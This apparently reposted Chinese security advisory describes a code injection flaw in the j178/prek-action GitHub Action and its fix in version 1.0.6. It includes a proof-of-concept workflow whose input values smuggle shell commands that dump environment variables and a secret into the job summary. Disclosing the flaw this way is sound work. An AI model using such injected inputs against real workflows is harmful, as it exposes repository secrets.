GitHub Actions复合动作中的代码注入漏洞分析与修复

本文详细分析了j178/prek-action复合动作中存在的任意代码注入漏洞,攻击者可通过恶意输入参数执行任意代码并窃取敏感信息。漏洞影响版本1.0.5及以下,已发布1.0.6修复版本。

漏洞概述

GitHub Actions复合动作j178/prek-action存在任意代码注入漏洞,攻击者可通过恶意构造的输入参数在动作执行上下文中执行任意代码。

受影响版本

  • 受影响版本:<= 1.0.5
  • 已修复版本:1.0.6

漏洞详情

攻击向量

GitHub Actions的输入变量inputs.prek-versioninputs.extra_argsinputs.extra-args可被利用来执行任意代码。

漏洞验证(PoC)

1
2
3
4
5
6
- uses: j178/prek-action@v1.0.5
  with:
    prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
    extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
  env:
    MY_SECRET: ${{ secrets.MY_SECRET }}

攻击影响

上述示例将:

  1. 打印所有环境变量到工作流摘要
  2. 暴露MY_SECRET环境变量值
  3. 攻击者可能利用此向量危害目标仓库安全,且攻击难以察觉,因为动作会正常执行

安全评级

  • 严重等级:Critical
  • CVSS评分:10.0
  • 弱点分类:CWE-94(代码生成控制不当)

CVSS v3基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:低
  • 用户交互:无
  • 范围:已更改
  • 机密性:高
  • 完整性:高
  • 可用性:高

参考信息

  • GHSA ID:GHSA-pwf7-47c3-mfhx
  • 修复提交:j178/prek-action@6b7c6ef
  • 报告者:mondeja
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计